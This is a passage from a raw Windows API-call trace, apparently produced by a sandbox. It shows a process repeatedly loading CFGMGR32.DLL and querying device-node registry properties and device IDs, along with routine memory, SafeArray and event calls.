plcLogConf=0x2dc22fd3e8) returned 0xe [0232.504] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x465a3f6a, dwHighDateTime=0x1d9eb0c)) [0232.505] SetEvent (hEvent=0x248) returned 1 [0232.509] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.509] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.512] malloc (_Size=0x18) returned 0x20abc281ea0 [0232.512] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0232.512] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x465a3f6a, dwHighDateTime=0x1d9eb0c)) [0232.513] SetEvent (hEvent=0x248) returned 1 [0232.519] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.519] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.523] malloc (_Size=0x18) returned 0x20abc282000 [0232.523] CM_Get_Device_IDA (in: dnDevInst=0x20, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\PCI_HOTPLUG_RESOURCES") returned 0x0 [0232.523] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x465ca3e4, dwHighDateTime=0x1d9eb0c)) [0232.524] SetEvent (hEvent=0x248) returned 1 [0232.527] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.528] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.531] malloc (_Size=0x18) returned 0x20abc281d20 [0232.531] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0232.531] malloc (_Size=0x5a) returned 0x20abc2807d0 [0232.532] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0232.533] free (_Block=0x20abc2807d0) [0232.533] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x465ca3e4, dwHighDateTime=0x1d9eb0c)) [0232.533] SetEvent (hEvent=0x248) returned 1 [0232.587] malloc (_Size=0x18) returned 0x20abc281a80 [0232.587] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0232.587] free (_Block=0x20abc281a80) [0232.587] malloc (_Size=0x18) returned 0x20abc282040 [0232.587] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0232.587] free (_Block=0x20abc282040) [0232.587] malloc (_Size=0x18) returned 0x20abc281d20 [0232.587] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0232.587] free (_Block=0x20abc281d20) [0232.588] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c970 [0232.588] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0232.588] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0232.588] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0232.588] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0232.588] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0232.588] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0232.588] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0232.588] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0232.588] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.588] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.589] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.589] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0232.590] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c970) returned 1 [0232.590] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.594] malloc (_Size=0x18) returned 0x20abc281b80 [0232.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0232.594] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4666294f, dwHighDateTime=0x1d9eb0c)) [0232.595] SetEvent (hEvent=0x248) returned 1 [0232.598] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.598] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.602] malloc (_Size=0x18) returned 0x20abc281fe0 [0232.602] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.605] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46689bec, dwHighDateTime=0x1d9eb0c)) [0232.606] SetEvent (hEvent=0x248) returned 1 [0232.610] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.610] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.614] malloc (_Size=0x18) returned 0x20abc282040 [0232.614] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.614] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x466aed60, dwHighDateTime=0x1d9eb0c)) [0232.614] SetEvent (hEvent=0x248) returned 1 [0232.618] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.618] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.622] malloc (_Size=0x18) returned 0x20abc281f80 [0232.622] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.622] malloc (_Size=0x48) returned 0x20abc27cf80 [0232.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x466aed60, dwHighDateTime=0x1d9eb0c)) [0232.623] SetEvent (hEvent=0x248) returned 1 [0232.626] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.626] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.627] GetProcAddress 